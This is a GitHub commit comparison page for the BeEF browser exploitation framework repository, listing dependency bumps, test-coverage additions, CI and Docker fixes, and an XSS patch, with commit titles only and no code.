Compare commits

...

3993 Commits

Author SHA1 Message Date
zinduolis
cb0f61999e Merge branch 'red/fix_dependabot_automerge' of https://github.com/beefproject/beef into red/fix_dependabot_automerge 2026-03-06 10:43:56 +10:00
zinduolis
b8f96bfae5 allow for tests to run for dependabot without need for label 2026-03-06 10:43:33 +10:00
zinduolis
57692ea930 allow for tests to run for dependabot without need for label 2026-03-06 10:27:36 +10:00
zinduolis
997a2e0a9e Merge pull request #3521 from beefproject/red/safe_to_test_label
Implement safe_to_test label and update outdated github actions
2026-03-02 15:56:34 +10:00
zinduolis
8a400906ae Implement safe_to_test label and update outdated github actions in github_actions.yml 2026-03-02 15:38:36 +10:00
zinduolis
b36c502ec5 Merge pull request #3517 from beefproject/red/fix_xss
Patch XSS vulnerability
2026-03-02 14:26:20 +10:00
zinduolis
b98eff13e2 Merge branch 'master' into red/fix_xss 2026-03-02 14:10:04 +10:00
github-actions[bot]
56b32f5da6 Merge pull request #3519 from beefproject/dependabot/bundler/rubocop-1.85.0
Build(deps): bump rubocop from 1.84.2 to 1.85.0
2026-02-26 13:05:27 +00:00
dependabot[bot]
e5b227c049 Build(deps): bump rubocop from 1.84.2 to 1.85.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.84.2 to 1.85.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.84.2...v1.85.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.85.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-26 13:03:02 +00:00
zinduolis
7158f0fa44 Fix useless local assignments 2026-02-26 11:30:54 +10:00
zinduolis
70ec0de175 Fix Stored XSS in Browser Details and Core Filters 2026-02-26 11:20:30 +10:00
zinduolis
e3a668e258 sanitise PR to have just the fix 2026-02-25 15:19:47 +10:00
zinduolis
39dd7e1d2d Merge branch 'master' into red/fix_xss 2026-02-25 14:54:01 +10:00
github-actions[bot]
ca5e66e9bd Merge pull request #3516 from beefproject/dependabot/bundler/selenium-webdriver-4.41.0
Build(deps-dev): bump selenium-webdriver from 4.40.0 to 4.41.0
2026-02-20 13:05:30 +00:00
dependabot[bot]
9a648629d2 Build(deps-dev): bump selenium-webdriver from 4.40.0 to 4.41.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.40.0 to 4.41.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.40.0...selenium-4.41.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.41.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-20 13:03:03 +00:00
github-actions[bot]
1fa17e8069 Merge pull request #3515 from beefproject/dependabot/bundler/nokogiri-1.19.1
Build(deps-dev): bump nokogiri from 1.18.9 to 1.19.1
2026-02-20 00:36:23 +00:00
dependabot[bot]
ae2b95a286 Build(deps-dev): bump nokogiri from 1.18.9 to 1.19.1
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.18.9 to 1.19.1.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.18.9...v1.19.1)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-version: 1.19.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-20 00:33:58 +00:00
github-actions[bot]
19d2780814 Merge pull request #3514 from beefproject/dependabot/bundler/rack-3.2.5
Build(deps): bump rack from 3.2.4 to 3.2.5
2026-02-16 14:03:10 +00:00
dependabot[bot]
1d719b30ee Build(deps): bump rack from 3.2.4 to 3.2.5
Bumps [rack](https://github.com/rack/rack) from 3.2.4 to 3.2.5.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v3.2.4...v3.2.5)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 3.2.5
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-16 14:00:38 +00:00
github-actions[bot]
eae19d30cd Merge pull request #3513 from beefproject/dependabot/bundler/rubocop-1.84.2
Build(deps): bump rubocop from 1.84.1 to 1.84.2
2026-02-12 13:05:45 +00:00
dependabot[bot]
f9757c9e8f Build(deps): bump rubocop from 1.84.1 to 1.84.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.84.1 to 1.84.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.84.1...v1.84.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.84.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-12 13:03:22 +00:00
github-actions[bot]
7e20b2883e Merge pull request #3512 from beefproject/dependabot/bundler/rdoc-7.2.0
Build(deps-dev): bump rdoc from 7.1.0 to 7.2.0
2026-02-10 13:05:33 +00:00
dependabot[bot]
b47c85cbaa Build(deps-dev): bump rdoc from 7.1.0 to 7.2.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 7.1.0 to 7.2.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v7.1.0...v7.2.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.2.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-10 13:03:00 +00:00
github-actions[bot]
4069c70a8f Merge pull request #3511 from beefproject/dependabot/bundler/irb-1.17.0
Build(deps-dev): bump irb from 1.16.0 to 1.17.0
2026-02-09 14:30:11 +00:00
dependabot[bot]
0316a9f224 Build(deps-dev): bump irb from 1.16.0 to 1.17.0
Bumps [irb](https://github.com/ruby/irb) from 1.16.0 to 1.17.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.16.0...v1.17.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-version: 1.17.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-09 14:27:54 +00:00
zinduolis
fa8780706b Merge pull request #3503 from jake-the-dev/coverage-improvements
Test coverage improvements - Core
2026-02-05 10:37:45 +10:00
zinduolis
646908176d Merge branch 'master' into coverage-improvements 2026-02-04 08:42:59 +10:00
github-actions[bot]
d92d74501f Merge pull request #3510 from beefproject/dependabot/bundler/rubocop-1.84.1
Bump rubocop from 1.84.0 to 1.84.1
2026-02-03 13:08:58 +00:00
dependabot[bot]
ccf5d47bdb Bump rubocop from 1.84.0 to 1.84.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.84.0 to 1.84.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.84.0...v1.84.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.84.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-03 13:06:40 +00:00
github-actions[bot]
5f1ac0bd20 Merge pull request #3509 from beefproject/dependabot/bundler/json-2.18.1
Bump json from 2.18.0 to 2.18.1
2026-02-03 13:05:38 +00:00
dependabot[bot]
712dd3604a Bump json from 2.18.0 to 2.18.1
Bumps [json](https://github.com/ruby/json) from 2.18.0 to 2.18.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.18.0...v2.18.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.18.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-03 13:03:04 +00:00
Jake Webster
f238e20a51 CR: remove ARE rules related tests 2026-02-02 11:07:36 +10:00
Jake Webster
68d19a3221 UPDATE: tests with copywrite 2026-01-30 15:38:03 +10:00
Jake Webster
cbb95576b9 REMOVE: api related tests 2026-01-30 15:33:25 +10:00
Jake Webster
db8b2eca9c EDIT: remove unassigned var option 2026-01-30 15:26:03 +10:00
Jake Webster
57777b301a Merge remote-tracking branch 'upstream/master' into coverage-improvements 2026-01-30 14:45:48 +10:00
Kaito Ozawa
399ab90207 Merge pull request #3507 from kaitozaw/issue/3506-change-issue-duration
change stale timing
2026-01-30 09:19:52 +10:00
Kaito Ozawa
391dea3fca Merge branch 'master' into issue/3506-change-issue-duration 2026-01-30 09:16:34 +10:00
Kaito Ozawa
b5c750d6d8 Merge pull request #3492 from kaitozaw/measure-test-coverage
Measure test coverage
2026-01-30 09:12:49 +10:00
zinduolis
60b30fe849 Merge branch 'master' into measure-test-coverage 2026-01-29 19:55:59 +10:00
kaitoozawa
086b0b1dc2 upgrade to version 10 2026-01-29 14:50:53 +10:00
kaitoozawa
0f640ebc0e change stale timing 2026-01-29 14:50:53 +10:00
github-actions[bot]
2eab4e51bd Merge pull request #3508 from beefproject/dependabot/bundler/rubocop-1.84.0
Bump rubocop from 1.82.1 to 1.84.0
2026-01-27 13:04:11 +00:00
dependabot[bot]
8078751c0c Bump rubocop from 1.82.1 to 1.84.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.82.1 to 1.84.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.82.1...v1.84.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.84.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-27 13:01:38 +00:00
Jake Webster
95052f2066 TEST: core main handlers 2026-01-23 16:46:51 +10:00
Jake Webster
35c3912f65 TEST: core main handlers browserdetails 2026-01-23 16:40:33 +10:00
Jake Webster
647500cf78 TEST: core main command spec 2026-01-23 16:35:28 +10:00
Jake Webster
7178460256 TEST: core main geoip spec 2026-01-23 16:03:51 +10:00
Jake Webster
8b54f67566 TEST: core main server spec 2026-01-23 15:32:26 +10:00
Jake Webster
d54ec6761d TEST: core main router spec 2026-01-23 15:27:18 +10:00
Jake Webster
6ca679dc9e TEST: core module spec 2026-01-23 14:38:40 +10:00
Jake Webster
ec4d73915e TEST: core api registrar spec 2026-01-23 14:28:25 +10:00
Jake Webster
d3aef8aec6 TEST: core main rest specs 2026-01-23 14:17:28 +10:00
Jake Webster
58696560dd TEST: core main network specs 2026-01-23 12:56:46 +10:00
Jake Webster
8423b3701e TEST: core/main/models specs 2026-01-23 11:32:21 +10:00
Jake Webster
20c69be87b TEST: core/main/handlers specs 2026-01-23 11:16:01 +10:00
Jake Webster
f847cd0e37 FIX: isolate beef modules spec 2026-01-22 17:48:19 +10:00
Jake Webster
6377b02c4f TEST: core/models legacybrwosseruseragents optioncache specs 2026-01-22 17:38:58 +10:00
Jake Webster
32af09b248 FIX: command_spec test 2026-01-22 17:33:28 +10:00
Jake Webster
f923285da2 TEST: remaining core/filter specs 2026-01-22 17:13:44 +10:00
Jake Webster
5872df9d64 UPDATE: rubocop lints on browser.rb 2026-01-22 16:55:37 +10:00
Jake Webster
45a046ed2d TEST: move filters to filters/base spec 2026-01-22 16:50:58 +10:00
Jake Webster
e92da3bdde TEST: core/migration spec 2026-01-22 16:14:25 +10:00
Jake Webster
ac3f14b045 TEST: core/crypo spec 2026-01-22 15:56:24 +10:00
Jake Webster
d678c48608 TEST: core/settings spec 2026-01-22 15:39:20 +10:00
Jake Webster
96a08913d9 TEST: core/logger spec 2026-01-22 15:15:53 +10:00
Jake Webster
0970bdcd87 TEST: core/ruby method specs 2026-01-22 15:04:18 +10:00
Jake Webster
b2d832073f FIX: espeak text_to_voice install help 2026-01-22 14:23:43 +10:00
Jake Webster
9b22d92265 ADD: simplecov 2026-01-22 14:23:08 +10:00
github-actions[bot]
ddc27c8880 Merge pull request #3502 from beefproject/dependabot/npm_and_yarn/lodash-4.17.23
Bump lodash from 4.17.21 to 4.17.23
2026-01-21 23:06:10 +00:00
dependabot[bot]
ff281344d8 Bump lodash from 4.17.21 to 4.17.23
Bumps [lodash](https://github.com/lodash/lodash) from 4.17.21 to 4.17.23.
- [Release notes](https://github.com/lodash/lodash/releases)
- [Commits](https://github.com/lodash/lodash/compare/4.17.21...4.17.23)

---
updated-dependencies:
- dependency-name: lodash
  dependency-version: 4.17.23
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-21 23:03:34 +00:00
zinduolis
6409891724 eliminate escaping issues 2026-01-21 15:32:44 +10:00
zinduolis
2080cf5b0d add module for admin panel xss 2026-01-21 09:38:50 +10:00
github-actions[bot]
5cec161a7b Merge pull request #3500 from beefproject/dependabot/bundler/pry-byebug-3.12.0
Bump pry-byebug from 3.11.0 to 3.12.0
2026-01-19 14:54:05 +00:00
dependabot[bot]
75f169e318 Bump pry-byebug from 3.11.0 to 3.12.0
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.11.0 to 3.12.0.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.11.0...v3.12.0)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-version: 3.12.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-19 14:51:26 +00:00
github-actions[bot]
dadae2a79c Merge pull request #3501 from beefproject/dependabot/bundler/selenium-webdriver-4.40.0
Bump selenium-webdriver from 4.39.0 to 4.40.0
2026-01-19 14:50:21 +00:00
dependabot[bot]
ccda2a49f3 Bump selenium-webdriver from 4.39.0 to 4.40.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.39.0 to 4.40.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.39.0...selenium-4.40.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.40.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-19 14:47:50 +00:00
zinduolis
503e584d97 sanitise inputs for hooked browsers 2026-01-19 17:16:05 +10:00
github-actions[bot]
15095d2037 Merge pull request #3499 from beefproject/dependabot/bundler/rdoc-7.1.0
Bump rdoc from 7.0.3 to 7.1.0
2026-01-14 13:05:38 +00:00
dependabot[bot]
7efeef2fb7 Bump rdoc from 7.0.3 to 7.1.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 7.0.3 to 7.1.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v7.0.3...v7.1.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.1.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-14 13:03:07 +00:00
Kaito Ozawa
113b154043 Merge pull request #3489 from kaitozaw/issue/3488-long-tests
Fixes issue/long-tests (#3488)
2026-01-14 15:31:23 +10:00
kaitoozawa
fe897906a3 add checksum in dockerfile 2026-01-13 10:06:49 +10:00
kaitoozawa
2056e83050 install simplecov 2026-01-12 16:58:33 +10:00
kaitoozawa
065c7adf03 fix test cleanup and install firefox dependencies 2026-01-12 16:57:12 +10:00
github-actions[bot]
53c97721e1 Merge pull request #3490 from beefproject/dependabot/bundler/activerecord-8.1.2
Bump activerecord from 8.1.1 to 8.1.2
2026-01-09 13:03:47 +00:00
dependabot[bot]
721f1e790d Bump activerecord from 8.1.1 to 8.1.2
Bumps [activerecord](https://github.com/rails/rails) from 8.1.1 to 8.1.2.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.1.2/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v8.1.1...v8.1.2)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 8.1.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-09 13:01:19 +00:00
Kaito Ozawa
334b0c7e06 Merge pull request #3478 from kaitozaw/issue/3073-fix-google-phishing-module
Fixes issue/fix-google-phishing-module (#3073)
2026-01-09 17:14:13 +10:00
kaitoozawa
9eca144092 change indentation from space2 to tab/space4 2026-01-08 10:25:12 +10:00
kaitoozawa
15d2acf52a move functions inside beef.execute 2026-01-03 09:34:04 +10:00
Kaito Ozawa
6d57165f63 Merge pull request #3477 from kaitozaw/issue/3091-host-name-validation
Fixes issue/host-name-validation (#3091)
2026-01-02 19:46:52 +10:00
kaitoozawa
cbd9292331 add public host to host authorization list 2025-12-31 15:15:52 +10:00
Kaito Ozawa
0680a51ad0 Merge pull request #3472 from kaitozaw/issue/2174-wiki-and-helpmenu
Fixes issue/wiki-and-helpmenu (#2174)
2025-12-30 15:07:43 +10:00
kaitoozawa
ff4c89bf46 remove the commented-out command 2025-12-30 14:59:31 +10:00
kaitoozawa
85d8d78112 add help command 2025-12-30 14:14:59 +10:00
zinduolis
dca4415fb8 Merge pull request #3481 from beefproject/red/dev
Update copyright year to 2026
2025-12-30 11:22:34 +10:00
zinduolis
3b32c19637 Merge branch 'master' into red/dev 2025-12-30 11:18:26 +10:00
github-actions[bot]
1756a7a3f2 Merge pull request #3483 from beefproject/dependabot/bundler/sqlite3-2.9.0
Bump sqlite3 from 2.8.1 to 2.9.0
2025-12-29 13:04:36 +00:00
dependabot[bot]
57d2da64fe Bump sqlite3 from 2.8.1 to 2.9.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.8.1 to 2.9.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.8.1...v2.9.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.9.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-29 13:02:17 +00:00
zinduolis
4233269016 remove copyright update log file 2025-12-26 19:35:25 +10:00
zinduolis
95793433fa Update copyright year to 2026 2025-12-26 19:18:05 +10:00
github-actions[bot]
c308392cb3 Merge pull request #3480 from beefproject/dependabot/bundler/rdoc-7.0.3
Bump rdoc from 7.0.2 to 7.0.3
2025-12-25 13:04:20 +00:00
dependabot[bot]
8e8087b954 Bump rdoc from 7.0.2 to 7.0.3
Bumps [rdoc](https://github.com/ruby/rdoc) from 7.0.2 to 7.0.3.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v7.0.2...v7.0.3)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.0.3
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-25 13:01:58 +00:00
github-actions[bot]
647daae3c8 Merge pull request #3479 from beefproject/dependabot/bundler/rubocop-1.82.1
Bump rubocop from 1.82.0 to 1.82.1
2025-12-24 13:04:23 +00:00
dependabot[bot]
c4effae065 Bump rubocop from 1.82.0 to 1.82.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.82.0 to 1.82.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.82.0...v1.82.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.82.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-24 13:01:51 +00:00
zinduolis
e789afb8e6 Merge pull request #3471 from kaitozaw/issue/3465-new-issue-template
Fixes issue/new-issue-template (#3465)
2025-12-23 17:06:43 +10:00
zinduolis
8596ab98a0 Merge branch 'master' into issue/3465-new-issue-template 2025-12-23 17:00:27 +10:00
zinduolis
e8a767d548 Merge pull request #3470 from kaitozaw/issue/3468-TLS-init-failing
Fixes issue/TLS-init-failing (#3468)
2025-12-23 16:58:33 +10:00
zinduolis
309e86a29d Merge branch 'master' into issue/3468-TLS-init-failing 2025-12-23 16:55:27 +10:00
zinduolis
7507a7b440 Merge branch 'master' into issue/3465-new-issue-template 2025-12-23 15:54:22 +10:00
github-actions[bot]
08c0d72c37 Merge pull request #3476 from beefproject/dependabot/bundler/rdoc-7.0.2
Bump rdoc from 7.0.1 to 7.0.2
2025-12-22 13:04:18 +00:00
dependabot[bot]
08538b7720 Bump rdoc from 7.0.1 to 7.0.2
Bumps [rdoc](https://github.com/ruby/rdoc) from 7.0.1 to 7.0.2.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v7.0.1...v7.0.2)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.0.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-22 13:02:03 +00:00
kaitoozawa
447f0953df install libssl-dev at builder stage 2025-12-22 14:55:35 +10:00
zinduolis
00b9de63c3 Merge pull request #3474 from beefproject/dependabot/bundler/rdoc-7.0.1
Bump rdoc from 6.17.0 to 7.0.1
2025-12-22 13:13:52 +10:00
dependabot[bot]
34b2b8b6f1 Bump rdoc from 6.17.0 to 7.0.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.17.0 to 7.0.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.17.0...v7.0.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 7.0.1
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-22 02:04:41 +00:00
zinduolis
e1493310e4 Merge pull request #3463 from kaitozaw/issue-fix-remove-cli
Fixes issue #3447
2025-12-22 12:02:26 +10:00
zinduolis
a67d783cbc Merge branch 'master' into issue-fix-remove-cli 2025-12-22 11:56:00 +10:00
kaitoozawa
7d28bfc140 new issue template 2025-12-19 10:38:38 +10:00
zinduolis
b7ebc298e9 Merge pull request #3462 from kaitozaw/test/rspec-isolation
Fixes #3464
2025-12-18 21:14:50 +10:00
zinduolis
d3724b84bb Merge branch 'master' into test/rspec-isolation 2025-12-18 20:55:12 +10:00
kaitoozawa
c3e162a8f5 address review comments 2025-12-18 09:44:05 +10:00
github-actions[bot]
eb4fa92c84 Merge pull request #3466 from beefproject/dependabot/bundler/rubocop-1.82.0
Bump rubocop from 1.81.7 to 1.82.0
2025-12-17 13:11:03 +00:00
dependabot[bot]
ee8afbbecf Bump rubocop from 1.81.7 to 1.82.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.81.7 to 1.82.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.81.7...v1.82.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.82.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-17 13:08:43 +00:00
github-actions[bot]
292453e1f7 Merge pull request #3467 from beefproject/dependabot/bundler/irb-1.16.0
Bump irb from 1.15.3 to 1.16.0
2025-12-17 13:04:40 +00:00
dependabot[bot]
86909af828 Bump irb from 1.15.3 to 1.16.0
Bumps [irb](https://github.com/ruby/irb) from 1.15.3 to 1.16.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.15.3...v1.16.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-version: 1.16.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-17 13:02:22 +00:00
zinduolis
7ec386881e Merge branch 'master' into test/rspec-isolation 2025-12-17 15:59:43 +10:00
zinduolis
4a8b5b759d Merge pull request #3460 from kaitozaw/issue-3213-kali-support-link
Add kali support link to the issue tracker #3213
2025-12-17 15:37:34 +10:00
kaitoozawa
6189279798 remove remnants of cli 2025-12-16 11:20:40 +10:00
kaitoozawa
7d20c1138c Add Kali support link to issue template 2025-12-16 11:16:43 +10:00
kaitoozawa
bd67b8ba2a AR snapshot/restore helpers for test isolation 2025-12-16 10:53:33 +10:00
zinduolis
4b3fce07a0 Merge pull request #3461 from kaitozaw/issue-fix-dockerfile-and-testing
issue-fix-dockerfile-and-testing
2025-12-15 17:01:20 +10:00
kaitoozawa
149aeaa944 Fix review comments 2025-12-15 16:32:48 +10:00
kaitoozawa
3be084ade6 fix dockerfile installation and test spec 2025-12-14 15:23:46 +10:00
github-actions[bot]
77f59d07d9 Merge pull request #3459 from beefproject/dependabot/bundler/json-2.18.0
Bump json from 2.17.1 to 2.18.0
2025-12-11 13:04:49 +00:00
dependabot[bot]
d9d9c4db1e Bump json from 2.17.1 to 2.18.0
Bumps [json](https://github.com/ruby/json) from 2.17.1 to 2.18.0.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.17.1...v2.18.0)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.18.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-11 13:02:22 +00:00
zinduolis
5822a1b5d1 Merge pull request #3440 from mengxunQAQ/patch-1
Fix redundant and incorrect version comparison logic
2025-12-09 17:20:07 +10:00
zinduolis
841953f112 Merge branch 'master' into patch-1 2025-12-09 16:23:05 +10:00
github-actions[bot]
87cc78fc2e Merge pull request #3458 from beefproject/dependabot/bundler/rdoc-6.17.0
Bump rdoc from 6.16.1 to 6.17.0
2025-12-08 13:08:15 +00:00
dependabot[bot]
03030858c9 Bump rdoc from 6.16.1 to 6.17.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.16.1 to 6.17.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.16.1...v6.17.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.17.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-08 13:05:41 +00:00
github-actions[bot]
1b1a8b175b Merge pull request #3457 from beefproject/dependabot/bundler/selenium-webdriver-4.39.0
Bump selenium-webdriver from 4.38.0 to 4.39.0
2025-12-08 13:04:37 +00:00
dependabot[bot]
47cde1a0fd Bump selenium-webdriver from 4.38.0 to 4.39.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.38.0 to 4.39.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.38.0...selenium-4.39.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.39.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-08 13:02:18 +00:00
github-actions[bot]
b6e82f0273 Merge pull request #3456 from beefproject/dependabot/bundler/json-2.17.1
Bump json from 2.16.0 to 2.17.1
2025-12-04 13:05:07 +00:00
dependabot[bot]
98f646078f Bump json from 2.16.0 to 2.17.1
Bumps [json](https://github.com/ruby/json) from 2.16.0 to 2.17.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.16.0...v2.17.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.17.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-04 13:02:33 +00:00
github-actions[bot]
2de4c379ef Merge pull request #3454 from beefproject/dependabot/bundler/sqlite3-2.8.1
Bump sqlite3 from 2.8.0 to 2.8.1
2025-12-01 15:19:53 +00:00
dependabot[bot]
ff077b7982 Bump sqlite3 from 2.8.0 to 2.8.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.8.0 to 2.8.1.
